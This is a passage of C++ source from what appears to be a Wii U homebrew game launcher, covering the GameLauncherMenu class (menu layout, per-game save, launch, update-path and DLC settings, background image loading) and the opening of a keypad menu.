leftArrowButton.setImage(&leftArrowImage);\n    leftArrowButton.setEffectGrow();\n    leftArrowButton.setPosition(-120, 0);\n    leftArrowButton.setAlignment(ALIGN_LEFT | ALIGN_MIDDLE);\n    leftArrowButton.setTrigger(&touchTrigger);\n    leftArrowButton.setTrigger(&wpadTouchTrigger);\n\n    leftArrowButton.setSoundClick(buttonClickSound);\n    leftArrowButton.clicked.connect(this, &GameLauncherMenu::OnLeftArrowClick);\n    gameLauncherMenuFrame.append(&leftArrowButton);\n\n    rightArrowButton.setImage(&rightArrowImage);\n    rightArrowButton.setEffectGrow();\n    rightArrowButton.setPosition(120, 0);\n    rightArrowButton.setAlignment(ALIGN_RIGHT | ALIGN_MIDDLE);\n    rightArrowButton.setTrigger(&touchTrigger);\n    rightArrowButton.setTrigger(&wpadTouchTrigger);\n    rightArrowButton.setSoundClick(buttonClickSound);\n    rightArrowButton.clicked.connect(this, &GameLauncherMenu::OnRightArrowClick);\n    gameLauncherMenuFrame.append(&rightArrowButton);\n\n    DPADButtons.setTrigger(&buttonDownTrigger);\n    DPADButtons.setTrigger(&buttonATrigger);\n    DPADButtons.setTrigger(&buttonBTrigger);\n    DPADButtons.setTrigger(&buttonLTrigger);\n    DPADButtons.setTrigger(&buttonRTrigger);\n    DPADButtons.setTrigger(&buttonLeftTrigger);\n    DPADButtons.setTrigger(&buttonRightTrigger);\n    DPADButtons.setTrigger(&buttonUpTrigger);\n\n    DPADButtons.clicked.connect(this, &GameLauncherMenu::OnDPADClick);\n    gameLauncherMenuFrame.append(&DPADButtons);\n\n    f32 buttonscale = 3.8f/3.0f;\n\n    extraSaveBox.setTrigger(&touchTrigger);\n    extraSaveBox.setTrigger(&wpadTouchTrigger);\n    extraSaveBox.setSoundClick(buttonClickSound);\n    extraSaveBox.valueChanged.connect(this, &GameLauncherMenu::OnExtraSaveValueChanged);\n\n    gameLauncherMenuFrame.append(&extraSaveBox);\n\n    dlcEnableBox.setTrigger(&touchTrigger);\n    dlcEnableBox.setTrigger(&wpadTouchTrigger);\n    dlcEnableBox.setSoundClick(buttonClickSound);\n    dlcEnableBox.valueChanged.connect(this, &GameLauncherMenu::OnDLCEnableValueChanged);\n\n    gameLauncherMenuFrame.append(&dlcEnableBox);\n\n    f32 xpos = 0.11f;\n    f32 yOffset = -(0.3 * height);\n\n    dlcEnableBox.setScale(buttonscale*windowScale);\n    saveModeSelectBox.setScale(buttonscale*windowScale);\n    launchModeSelectBox.setScale(buttonscale*windowScale);\n    extraSaveBox.setScale(buttonscale*windowScale);\n    extraSaveText.setScale(buttonscale*windowScale);\n    dlcEnableText.setScale(buttonscale*windowScale);\n    pathSelectBox.setScale(buttonscale* windowScale);\n\n    dlcEnableBox.setPosition(xpos*width + (saveModeSelectBox.getTopValueWidth()*saveModeSelectBox.getScale() /2.0) - (dlcEnableBox.getWidth()*dlcEnableBox.getScale()/2.0), yOffset);\n    dlcEnableText.setPosition(xpos*width - (saveModeSelectBox.getTopValueWidth()*saveModeSelectBox.getScale() /2.0)+ (dlcEnableText.getTextWidth()/2.0), yOffset);\n    yOffset += saveModeSelectBox.getTopValueHeight() * saveModeSelectBox.getScale();\n\n    saveModeSelectBox.setPosition(xpos*width, yOffset);\n    yOffset += saveModeSelectBox.getTopValueHeight() * saveModeSelectBox.getScale();\n\n    launchModeSelectBox.setPosition(xpos*width, yOffset);\n    yOffset += saveModeSelectBox.getTopValueHeight() * saveModeSelectBox.getScale() * 1.2f;\n\n    extraSaveBox.setPosition(xpos*width + (saveModeSelectBox.getTopValueWidth()*saveModeSelectBox.getScale() /2.0) - (extraSaveBox.getWidth()*extraSaveBox.getScale()/2.0), yOffset);\n\n    extraSaveText.setPosition(xpos*width - (saveModeSelectBox.getTopValueWidth()*saveModeSelectBox.getScale() /2.0)+ (extraSaveText.getTextWidth()/2.0), yOffset);\n    yOffset += saveModeSelectBox.getTopValueHeight() * saveModeSelectBox.getScale() * 1.2f;\n\n    pathSelectBox.setPosition(xpos*width, yOffset);\n    yOffset += saveModeSelectBox.getTopValueHeight() * saveModeSelectBox.getScale() * 1.2f;\n\n    pathSelectBox.showhide.connect(this, &GameLauncherMenu::OnSelectBoxShowHide);\n    launchModeSelectBox.showhide.connect(this, &GameLauncherMenu::OnSelectBoxShowHide),\n    saveModeSelectBox.showhide.connect(this, &GameLauncherMenu::OnSelectBoxShowHide);\n\n    pathSelectBox.valueChanged.connect(this, &GameLauncherMenu::OnSelectBoxValueChanged);\n    launchModeSelectBox.valueChanged.connect(this, &GameLauncherMenu::OnSelectBoxValueChanged),\n    saveModeSelectBox.valueChanged.connect(this, &GameLauncherMenu::OnSelectBoxValueChanged);\n\n    gameLauncherMenuFrame.append(&dlcEnableText);\n    gameLauncherMenuFrame.append(&extraSaveText);\n    gameLauncherMenuFrame.append(&saveModeSelectBox);\n    gameLauncherMenuFrame.append(&pathSelectBox);\n    gameLauncherMenuFrame.append(&launchModeSelectBox);\n\n    selectBoxes.push_back(&pathSelectBox);\n    selectBoxes.push_back(&launchModeSelectBox);\n    selectBoxes.push_back(&saveModeSelectBox);\n\n    append(&gameLauncherMenuFrame);\n    append(&progresswindow);\n\n    focusElements[GamelaunchermenuFocus::ExtraSave] = &extraSaveBox;\n    focusElements[GamelaunchermenuFocus::EnableDLC] = &dlcEnableBox;\n    focusElements[GamelaunchermenuFocus::Quit] = &quitButton;\n    focusElements[GamelaunchermenuFocus::UpdatePath] = &pathSelectBox;\n    focusElements[GamelaunchermenuFocus::SaveMethod] = &saveModeSelectBox;\n    focusElements[GamelaunchermenuFocus::LaunchMethod] = &launchModeSelectBox;\n    focusElements[GamelaunchermenuFocus::OK] = &okButton;\n\n    setHeader(GameList::instance()->at(gameIdx));\n}\n\nGameLauncherMenu::~GameLauncherMenu()\n{\n    Resources::RemoveImageData(quitImageData);\n    Resources::RemoveImageData(leftArrowImageData);\n    Resources::RemoveImageData(rightArrowImageData);\n    Resources::RemoveImageData(okImageData);\n    Resources::RemoveImageData(okSelectedImageData);\n    Resources::RemoveImageData(quitSelectedImageData);\n    Resources::RemoveImageData(titleImageData);\n    Resources::RemoveImageData(frameImageData);\n\n    Resources::RemoveSound(buttonClickSound);\n\n    if(bgFadingImageDataAsync)\n    {\n        bgFadingImageDataAsync->imageLoaded.disconnect_all();\n        AsyncDeleter::pushForDelete(bgFadingImageDataAsync);\n    }\n    if(bgUsedImageDataAsync)\n    {\n        bgUsedImageDataAsync->imageLoaded.disconnect_all();\n        AsyncDeleter::pushForDelete(bgUsedImageDataAsync);\n    }\n    if(bgNewImageDataAsync)\n    {\n        bgNewImageDataAsync->imageLoaded.disconnect_all();\n        AsyncDeleter::pushForDelete(bgNewImageDataAsync);\n    }\n    if(coverImg)\n    {\n        coverImg->imageLoaded.disconnect_all();\n        AsyncDeleter::pushForDelete(coverImg);\n    }\n\n    if(GameLauncherMenu::pThread != NULL){\n        delete GameLauncherMenu::pThread;\n    }\n}\n\nvoid GameLauncherMenu::OnSelectBoxShowHide(GuiSelectBox * selectBox,bool value){\n    //Disable other selectboxes while one is open!\n    if(value){\n        DPADButtons.setState(STATE_DISABLED);\n        for(u32 i = 0; i < selectBoxes.size(); i++){\n            selectBoxes[i]->setState(STATE_DISABLED);\n            if(selectBoxes[i] == selectBox){\n                bringToFront(selectBoxes[i]);\n                selectBoxes[i]->clearState(STATE_DISABLED);\n\n                std::map<int, GuiElement *>::iterator itr;\n                for(itr = focusElements.begin(); itr != focusElements.end(); itr++) {\n                    if(itr->second == selectBox){\n                        gamelauncherelementfocus = itr->first;\n                        bFocusChanged = true;\n                    }\n                }\n            }\n        }\n    }else{\n        DPADButtons.clearState(STATE_DISABLED);\n        for(u32 i = 0; i < selectBoxes.size(); i++){\n            selectBoxes[i]->clearState(STATE_DISABLED);\n        }\n    }\n}\n\nvoid GameLauncherMenu::OnSelectBoxValueChanged(GuiSelectBox * selectBox, std::string value){\n    if(selectBox == &pathSelectBox){\n        DEBUG_FUNCTION_LINE(\"Setting update path to %s\\n\",value.c_str());\n        gamesettings.updateFolder = value;\n    }else if(selectBox == &saveModeSelectBox){\n        DEBUG_FUNCTION_LINE(\"Setting savemode to %s\\n\",value.c_str());\n        gamesettings.save_method = atoi(value.c_str());\n    }else if(selectBox == &launchModeSelectBox){\n        DEBUG_FUNCTION_LINE(\"Setting launchmode to %s\\n\",value.c_str());\n        gamesettings.launch_method = atoi(value.c_str());\n    }else{\n        return;\n    }\n    bChanged = true;\n    gamesettingsChanged = true;\n}\nvoid GameLauncherMenu::OnExtraSaveValueChanged(GuiToggle * toggle,bool value){\n    gamesettings.extraSave = value;\n    gamesettingsChanged = true;\n    bChanged = true;\n}\n\nvoid GameLauncherMenu::OnDLCEnableValueChanged(GuiToggle * toggle,bool value){\n    gamesettings.EnableDLC = value;\n    gamesettingsChanged = true;\n    bChanged = true;\n}\n\nvoid GameLauncherMenu::OnGotHeaderFromMain(GuiElement *button, int gameIdx)\n{\n    this->gameIdx = gameIdx;\n    setHeader(GameList::instance()->at(gameIdx));\n}\n\nvoid GameLauncherMenu::setHeader(const discHeader * header)\n{\n    this->header =  header;\n    gameLauncherMenuFrame.remove(coverImg);\n\n    std::string filepath = CSettings::getValueAsString(CSettings::GameCover3DPath) + \"/\" + header->id + \".png\";\n\n    if(coverImg)\n    {\n        coverImg->imageLoaded.disconnect_all();\n        AsyncDeleter::pushForDelete(coverImg);\n        coverImg = NULL;\n    }\n\n    coverImg = new GuiImageAsync(filepath, &noCover);\n    coverImg->setAlignment(ALIGN_LEFT);\n    coverImg->setPosition(50,0);\n    coverImg->setScale((5.0/3.0) * windowScale);\n    coverImg->imageLoaded.connect(this, &GameLauncherMenu::OnCoverLoadedFinished);\n    gameLauncherMenuFrame.append(coverImg);\n    loadBgImage();\n\n    //Set game title\n    std::string gamename = header->name;\n    if(gamename.length() > 40){\n        gamename = gamename.substr(0,38) + \"...\";\n    }\n\n    titleText.setText(gamename.c_str());\n\n    DirList updatefolder(header->gamepath + UPDATE_PATH,NULL,DirList::Dirs);\n    DEBUG_FUNCTION_LINE(\"Found %d update folders for %s:\\n\",updatefolder.GetFilecount(),header->name.c_str());\n    updatePaths.clear();\n\n    updatePaths[COMMON_UPDATE_PATH] = COMMON_UPDATE_PATH;\n    for(int i = 0; i < updatefolder.GetFilecount(); i++)\n    {\n        updatePaths[updatefolder.GetFilename(i)] = updatefolder.GetFilename(i);\n        DEBUG_FUNCTION_LINE(\"%s\\n\",updatefolder.GetFilename(i));\n    }\n\n    //gameTitle.setText(gamename.c_str());\n    bool result = CSettingsGame::getInstance()->LoadGameSettings(header->id,gamesettings);\n    if(result){\n        DEBUG_FUNCTION_LINE(\"Found \");\n    }\n\n    DEBUG_FUNCTION_LINE(\"Game Setting for: %s\\n\\n\",header->id.c_str());\n    DEBUG_FUNCTION_LINE(\"Update Folder: \\\"%s\\\"\\n\",gamesettings.updateFolder.c_str());\n    DEBUG_FUNCTION_LINE(\"Extra Save: %d\\n\",gamesettings.extraSave);\n    DEBUG_FUNCTION_LINE(\"Launch Method: %d\\n\",gamesettings.launch_method);\n    DEBUG_FUNCTION_LINE(\"Save Method: %d\\n\",gamesettings.save_method);\n    DEBUG_FUNCTION_LINE(\"--------\\n\");\n\n    //getting selected Items for selectboxes\n    std::map<std::string, std::string>::iterator itr;\n    int i = 0;\n\n    int updatePathID  = 0;\n    for(itr = updatePaths.begin(); itr != updatePaths.end(); itr++) {\n        if(itr->second.compare(gamesettings.updateFolder) == 0){\n            updatePathID = i;\n            break;\n        }\n        i++;\n    }\n\n    int savemodeID  = 0;\n    i=0;\n    for(itr = saveModeNames.begin(); itr != saveModeNames.end(); itr++) {\n        if(atoi(itr->second.c_str()) == gamesettings.save_method){\n            savemodeID = i;\n        }\n        i++;\n    }\n    int launchmodeID  = 0;\n    i = 0;\n    for(itr = launchModeNames.begin(); itr != launchModeNames.end(); itr++) {\n         if(atoi(itr->second.c_str()) == gamesettings.launch_method){\n            launchmodeID = i;\n        }\n        i++;\n    }\n\n\n    pathSelectBox.Init(updatePaths,updatePathID);\n    //TODO: change to set Value\n    saveModeSelectBox.Init(saveModeNames,savemodeID);\n    launchModeSelectBox.Init(launchModeNames,launchmodeID);\n    extraSaveBox.setValue(gamesettings.extraSave);\n    dlcEnableBox.setValue(gamesettings.EnableDLC);\n\n    gamesettingsChanged = false;\n    bChanged = true;\n}\n\nvoid GameLauncherMenu::OnLeftArrowClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n{\n    OnGetPreviousHeaderClick(button,controller,trigger);\n}\n\nvoid GameLauncherMenu::OnRightArrowClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n{\n    OnGetNextHeaderClick(button,controller,trigger);\n}\n\nvoid GameLauncherMenu::OnAButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n{\n   if(gamelauncherelementfocus == GamelaunchermenuFocus::Quit){\n        OnQuitButtonClick(button,controller,trigger);\n     }else if(gamelauncherelementfocus == GamelaunchermenuFocus::OK) {\n        OnOKButtonClick(button,controller,trigger);\n     }else{\n        GuiSelectBox * selectBox = dynamic_cast<GuiSelectBox *>(focusElements.at(gamelauncherelementfocus));\n        if(selectBox != NULL){\n           selectBox->OnTopValueClicked(button,controller,trigger);\n           return;\n        }\n        GuiToggle * toggle = dynamic_cast<GuiToggle *>(focusElements.at(gamelauncherelementfocus));\n        if(toggle != NULL){\n            toggle->OnToggleClick(button,controller,trigger);\n            return;\n        }\n     }\n}\n\nvoid GameLauncherMenu::OnOKButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n{\n    CSettings::setValueAsU16(CSettings::GameStartIndex,gameIdx);\n    gameLauncherMenuFrame.setState(STATE_DISABLED);\n    progresswindow.setTitle(tr(\"Saving game settings!\"));\n    progresswindow.setProgress(0.0f);\n    progresswindow.setVisible(true);\n    bringToFront(&progresswindow);\n    GameLauncherMenu::SaveSettingsAsync(this);\n}\n\nvoid GameLauncherMenu::SaveSettingsAsync(GameLauncherMenu * menu)\n{\n    GameLauncherMenu::pThread = CThread::create(GameLauncherMenu::SaveGameSettings, (void*)menu, CThread::eAttributeAffCore1 | CThread::eAttributePinnedAff, 10);\n    GameLauncherMenu::pThread->resumeThread();\n}\n\nvoid GameLauncherMenu::SaveGameSettings(CThread *thread, void *arg){\n    GameLauncherMenu * args = (GameLauncherMenu * )arg;\n    bool result = false;\n    if(args->gamesettingsChanged){\n        result = CSettingsGame::getInstance()->SaveGameSettings(args->gamesettings);\n    }\n    args->ReturnFromSaving(thread,result);\n}\n\nvoid GameLauncherMenu::ReturnFromSaving(CThread * thread, int result)\n{\n    gameLauncherMenuFrame.clearState(STATE_DISABLED);\n    progresswindow.setVisible(false);\n    gameLauncherMenuQuitClicked(this, header,true);\n}\n\n\nvoid GameLauncherMenu::OnDPADClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n{\n\tif(trigger == &buttonATrigger)\n\t{\n        //! do not auto launch when wiimote is pointing to screen and presses A\n        if((controller->chan & (GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5)) && controller->data.validPointer)\n        {\n            return;\n        }\n\t\tOnAButtonClick(button,controller,trigger);\n\t}\n\telse if(trigger == &buttonBTrigger){\n\t\tOnQuitButtonClick(button,controller,trigger);\n\t}\n\telse if(trigger == &buttonLTrigger){\n\t\tOnLeftArrowClick(button,controller,trigger);\n\t}\n\telse if(trigger == &buttonRTrigger){\n        OnRightArrowClick(button,controller,trigger);\n\t}\n\telse if(trigger == &buttonUpTrigger){\n\t    gamelauncherelementfocus++;\n\t    if(gamelauncherelementfocus >= GamelaunchermenuFocus::MAX_VALUE) gamelauncherelementfocus = GamelaunchermenuFocus::INVALID+2;\n\t    bFocusChanged = true;\n\t}\n\telse if(trigger == &buttonDownTrigger){\n\t    gamelauncherelementfocus--;\n\t    if(gamelauncherelementfocus <= GamelaunchermenuFocus::INVALID) gamelauncherelementfocus = GamelaunchermenuFocus::MAX_VALUE-2;\n\t    bFocusChanged = true;\n\t}\n\telse if(trigger == &buttonRightTrigger){\n\t    gamelauncherelementfocus = GamelaunchermenuFocus::INVALID+1;\n\t    bFocusChanged = true;\n\t}\n\telse if(trigger == &buttonLeftTrigger){\n        gamelauncherelementfocus = GamelaunchermenuFocus::MAX_VALUE-1;\n\t    bFocusChanged = true;\n\t}\n\n}\n\nvoid GameLauncherMenu::loadBgImage()\n{\n    if(header == NULL)\n        return;\n\n    std::string filepath = header->gamepath + META_PATH + \"/bootTvTex.tga\";\n\n    //! remove image that is possibly still loading\n    //! TODO: fix (state != STATE_DISABLED) its a cheap trick to make the thread not create new images when fading out because it causes issues\n    if(bgNewImageDataAsync && !isStateSet(STATE_DISABLED))\n    {\n        bgNewImageDataAsync->imageLoaded.disconnect_all();\n        GuiImageAsync::removeFromQueue(bgNewImageDataAsync);\n        AsyncDeleter::pushForDelete(bgNewImageDataAsync);\n        bgNewImageDataAsync = new GuiImageAsync(filepath, NULL);\n    }\n    else\n    {\n        delete bgNewImageDataAsync;\n        bgNewImageDataAsync = new GuiImageAsync(filepath,  NULL);\n    }\n\n    bgNewImageDataAsync->imageLoaded.connect(this, &GameLauncherMenu::OnBgLoadedFinished);\n}\n\nvoid GameLauncherMenu::OnCoverLoadedFinished(GuiImageAsync *image)\n{\n    //! since this function is entered through an asynchron call from the gui image async thread\n    //! the GUI has to be locked before accessing the data\n    Application::instance()->getMainWindow()->lockGUI();\n    if(image->imageLoaded.connected()){\n        f32 oldScale = image->getScale();\n        f32 coverScale = noCover.getHeight() / image->getHeight();\n        image->setScale(oldScale * coverScale);\n    }\n    Application::instance()->getMainWindow()->unlockGUI();\n}\n\nvoid GameLauncherMenu::OnBgLoadedFinished(GuiImageAsync *image)\n{\n    //! since this function is entered through an asynchron call from the gui image async thread\n    //! the GUI has to be locked before accessing the data\n    Application::instance()->getMainWindow()->lockGUI();\n    if(image->imageLoaded.connected())\n    {\n        if(bgNewImageDataAsync->getImageData())\n        {\n            if(bgUsedImageDataAsync)\n            {\n                bgFadingImageDataAsync = bgUsedImageDataAsync;\n                bgFadingImageDataAsync->setEffect(EFFECT_FADE, -10, 0);\n                bgFadingImageDataAsync->effectFinished.connect(this, &GameLauncherMenu::OnBgEffectFinished);\n            }\n\n            bgUsedImageDataAsync = bgNewImageDataAsync;\n            bgNewImageDataAsync = NULL;\n            bgUsedImageDataAsync->setColorIntensity(glm::vec4(0.5f, 0.5f, 0.5f, 1.0f));\n            bgUsedImageDataAsync->setParent(this);\n            bgUsedImageDataAsync->setEffect(EFFECT_FADE, 10, 255);\n            bgUsedImageDataAsync->setScale(windowScale);\n        }\n        else\n        {\n            bgNewImageDataAsync->imageLoaded.disconnect_all();\n            AsyncDeleter::pushForDelete(bgNewImageDataAsync);\n            bgNewImageDataAsync = NULL;\n        }\n\n        insert(bgUsedImageDataAsync,2);\n    }\n    Application::instance()->getMainWindow()->unlockGUI();\n}\n\nvoid GameLauncherMenu::OnBgEffectFinished(GuiElement *image)\n{\n    if(image == bgFadingImageDataAsync)\n    {\n        remove(bgFadingImageDataAsync);\n        bgFadingImageDataAsync->imageLoaded.disconnect_all();\n        AsyncDeleter::pushForDelete(bgFadingImageDataAsync);\n        bgFadingImageDataAsync = NULL;\n    }\n}\n\nvoid GameLauncherMenu::draw(CVideo *v)\n{\n    GuiFrame::draw(v);\n}\n\nvoid GameLauncherMenu::update(GuiController *c)\n{\n    if(bFocusChanged){\n        std::map<int, GuiElement *>::iterator itr;\n        for(itr = focusElements.begin(); itr != focusElements.end(); itr++) {\n            if(itr->first == gamelauncherelementfocus){\n                itr->second->setState(STATE_SELECTED);\n            }else{\n                itr->second->clearState(STATE_SELECTED);\n            }\n        }\n        bFocusChanged = false;\n    }\n    if(bChanged){\n        if(gamesettings.updateFolder.compare(COMMON_UPDATE_PATH) != 0){\n            extraSaveBox.setAlpha(1.0f);\n            extraSaveText.setAlpha(1.0f);\n            extraSaveBox.clearState(STATE_DISABLED);\n            extraSaveText.clearState(STATE_DISABLED);\n        }else{\n            if(gamelauncherelementfocus == GamelaunchermenuFocus::ExtraSave){\n                gamelauncherelementfocus = GamelaunchermenuFocus::LaunchMethod;\n                bFocusChanged =  true;\n            }\n            extraSaveBox.setAlpha(0.3f);\n            extraSaveText.setAlpha(0.3f);\n            extraSaveBox.setUnchecked();\n            extraSaveBox.setState(STATE_DISABLED);\n            extraSaveText.setState(STATE_DISABLED);\n        }\n        bChanged = false;\n    }\n    GuiFrame::update(c);\n}\n"
  },
  {
    "path": "src/menu/GameLauncherMenu.h",
    "content": "/****************************************************************************\n * Copyright (C) 2016 Maschell\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef _GAMELAUNCHERMENU_WINDOW_H_\n#define _GAMELAUNCHERMENU_WINDOW_H_\n\n#include \"system/CThread.h\"\n#include \"gui/Gui.h\"\n#include \"gui/GuiParticleImage.h\"\n#include \"gui/GuiCheckBox.h\"\n#include \"gui/GuiSelectBox.h\"\n#include \"gui/GuiImageAsync.h\"\n#include \"gui/GuiSwitch.h\"\n#include \"game/GameList.h\"\n#include \"ProgressWindow.h\"\n#include \"settings/CSettingsGame.h\"\n#include \"settings/SettingsEnums.h\"\n\nclass GameLauncherMenu : public GuiFrame, public sigslot::has_slots<>\n{\n\npublic:\n    GameLauncherMenu(int gameIdx);\n    virtual ~GameLauncherMenu();\n\n    sigslot::signal3<GuiElement *,const discHeader *, bool> gameLauncherMenuQuitClicked;\n    sigslot::signal3<GuiElement *,int,int> gameLauncherGetHeaderClicked;\n\n    void draw(CVideo *v);\n    void update(GuiController *c);\n\n     enum GamelaunchermenuFocus\n    {\n        INVALID = -1,\n       \tOK,\n        SaveMethod,\n        LaunchMethod,\n        ExtraSave,\n        UpdatePath,\n       \tEnableDLC,\n       \tQuit,\n       \tMAX_VALUE\n    };\n\nprivate:\n    float windowScale = 0.75f;\n    bool gamesettingsChanged = false;\n    void setHeader(const discHeader *);\n    void OnDPADClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n\n    void OnGetNextHeaderClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n    {\n        gameLauncherGetHeaderClicked(this,gameIdx,1);\n    }\n\n    void OnGetPreviousHeaderClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n    {\n        gameLauncherGetHeaderClicked(this,gameIdx,-1);\n    }\n\n    void ReturnFromSaving(CThread * thread, int result);\n    static void SaveGameSettings(CThread *thread, void *arg);\n\n    void OnOptionButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n    void OnAButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n    void OnOKButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n\n    void OnQuitButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n    {\n        gameLauncherMenuQuitClicked(this,header,false);\n    }\n\n    static void SaveSettingsAsync(GameLauncherMenu * menu);\n\n    void OnSelectBoxValueChanged(GuiSelectBox * selectbox,std::string value);\n    void OnExtraSaveValueChanged(GuiToggle * toggle,bool value);\n    void OnDLCEnableValueChanged(GuiToggle * toggle,bool value);\n\n    void OnGotHeaderFromMain(GuiElement *button, int gameIdx);\n    void OnLeftArrowClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n    void OnRightArrowClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n    void OnSelectBoxShowHide(GuiSelectBox * selectBox,bool value);\n\n    void loadBgImage();\n    void OnBgLoadedFinished(GuiImageAsync *element);\n    void OnCoverLoadedFinished(GuiImageAsync *element);\n    void OnBgEffectFinished(GuiElement *element);\n\n    GuiFrame gameLauncherMenuFrame;\n    int gameIdx;\n    GuiImage bgImage;\n    GuiImage bgBlur;\n    GuiImageData noCover;\n    GuiImageAsync * coverImg = NULL;\n    GuiSound *buttonClickSound;\n\n    GuiImageData *quitImageData;\n    GuiImage quitImage;\n    GuiImageData *quitSelectedImageData;\n    GuiImage quitSelectedImage;\n    GuiButton quitButton;\n\n    GuiImageData *okImageData;\n    GuiImage okImage;\n    GuiImageData *okSelectedImageData;\n    GuiImage okSelectedImage;\n    GuiButton okButton;\n    GuiText okText;\n\n    GuiText titleText;\n    GuiImageData *titleImageData;\n    GuiImage titleImage;\n\n    GuiText extraSaveText;\n    GuiText dlcEnableText;\n\n    GuiImageData *frameImageData;\n    GuiImage frameImage;\n\n    GuiTrigger touchTrigger;\n    GuiTrigger wpadTouchTrigger;\n    GuiTrigger buttonATrigger;\n    GuiTrigger buttonBTrigger;\n    GuiTrigger buttonLTrigger;\n    GuiTrigger buttonRTrigger;\n    GuiTrigger buttonLeftTrigger;\n    GuiTrigger buttonRightTrigger;\n    GuiTrigger buttonUpTrigger;\n    GuiTrigger buttonDownTrigger;\n\n    GuiImageData *leftArrowImageData;\n    GuiImageData *rightArrowImageData;\n    GuiImage leftArrowImage;\n    GuiImage rightArrowImage;\n    GuiButton leftArrowButton;\n    GuiButton rightArrowButton;\n\n    GuiButton DPADButtons;\n\n    GuiSwitch extraSaveBox;\n    GuiSwitch dlcEnableBox;\n\n    const discHeader *header;\n    GameSettings gamesettings;\n\n    ProgressWindow progresswindow;\n\n    std::map<std::string,std::string> updatePaths;\n    std::map<std::string,std::string> saveModeNames;\n    std::map<std::string,std::string> launchModeNames;\n\n    int savemode_size = 0;\n    int launchmode_size = 0;\n    GuiSelectBox pathSelectBox;\n    GuiSelectBox saveModeSelectBox;\n    GuiSelectBox launchModeSelectBox;\n\n    GuiImageAsync *bgUsedImageDataAsync;\n    GuiImageAsync *bgNewImageDataAsync;\n    GuiImageAsync *bgFadingImageDataAsync;\n\n\n    std::vector<GuiSelectBox *> selectBoxes;\n\n    std::map<int,GuiElement *> focusElements;\n\n    static CThread *pThread;\n\n    int gamelauncherelementfocus;\n    bool bFocusChanged = false;\n    bool bChanged = false;\n\n};\n\n\n\n#endif //_GAMELAUNCHERMENU_WINDOW_H_\n"
  },
  {
    "path": "src/menu/KeyPadMenu.cpp",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#include \"KeyPadMenu.h\"\n#include \"video/CVideo.h\"\n#include \"utils/StringTools.h\"\n\n#define MAX_COLS    3\n#define MAX_ROWS    4\n#define MAX_FIELDS  15\n\nstatic const char cpKeyPadButtons[] =\n{\n    \"123456789.0\"\n};\n\nKeyPadMenu::KeyPadMenu(int w, int h, const std::string & strTitle, const std::string & prefil)\n    : GuiFrame(w, h)\n    , buttonClickSound(Resources::GetSound(\"settings_click_2.mp3\"))\n    , backImageData(Resources::GetImageData(\"keyPadBackButton.png\"))\n    , backImage(backImageData)\n    , backButton(backImage.getWidth(), backImage.getHeight())\n    , okImageData(Resources::GetImageData(\"keyPadOkButton.png\"))\n    , okImage(okImageData)\n    , okButton(okImage.getWidth(), okImage.getHeight())\n    , okText(\"O.K.\", 46, glm::vec4(0.8f, 0.8f, 0.8f, 1.0f))\n    , touchTrigger(GuiTrigger::CHANNEL_1, GuiTrigger::VPAD_TOUCH)\n    , wpadTouchTrigger(GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5, GuiTrigger::BUTTON_A)\n    , buttonATrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_A, true)\n    , buttonBTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_B, true)\n    , keyPadBgImageData(Resources::GetImageData(\"keyPadBg.png\"))\n    , keyPadButtonImgData(Resources::GetImageData(\"keyPadButton.png\"))\n    , keyPadButtonClickImgData(Resources::GetImageData(\"keyPadButtonClicked.png\"))\n    , deleteButtonImgData(Resources::GetImageData(\"keyPadDeleteButton.png\"))\n    , deleteButtonClickImgData(Resources::GetImageData(\"keyPadDeleteClicked.png\"))\n    , fieldImageData(Resources::GetImageData(\"keyPadField.png\"))\n    , fieldBlinkerImageData(Resources::GetImageData(\"keyPadFieldBlinker.png\"))\n    , bgImage(keyPadBgImageData)\n    , fieldBlinkerImg(fieldBlinkerImageData)\n    , deleteButtonImg(deleteButtonImgData)\n    , deleteButtonImgClick(deleteButtonClickImgData)\n    , deleteButton(deleteButtonImgData->getWidth(), deleteButtonImgData->getHeight())\n    , DPADButtons(w,h)\n{\n    lastFrameCount = 0;\n    currentText = prefil;\n    if(currentText.size() > MAX_FIELDS)\n        currentText.resize(MAX_FIELDS);\n\n    textPosition = currentText.size();\n\n    bgImage.setAlignment(ALIGN_CENTER | ALIGN_BOTTOM);\n    append(&bgImage);\n\n    backButton.setImage(&backImage);\n    backButton.setAlignment(ALIGN_BOTTOM | ALIGN_LEFT);\n    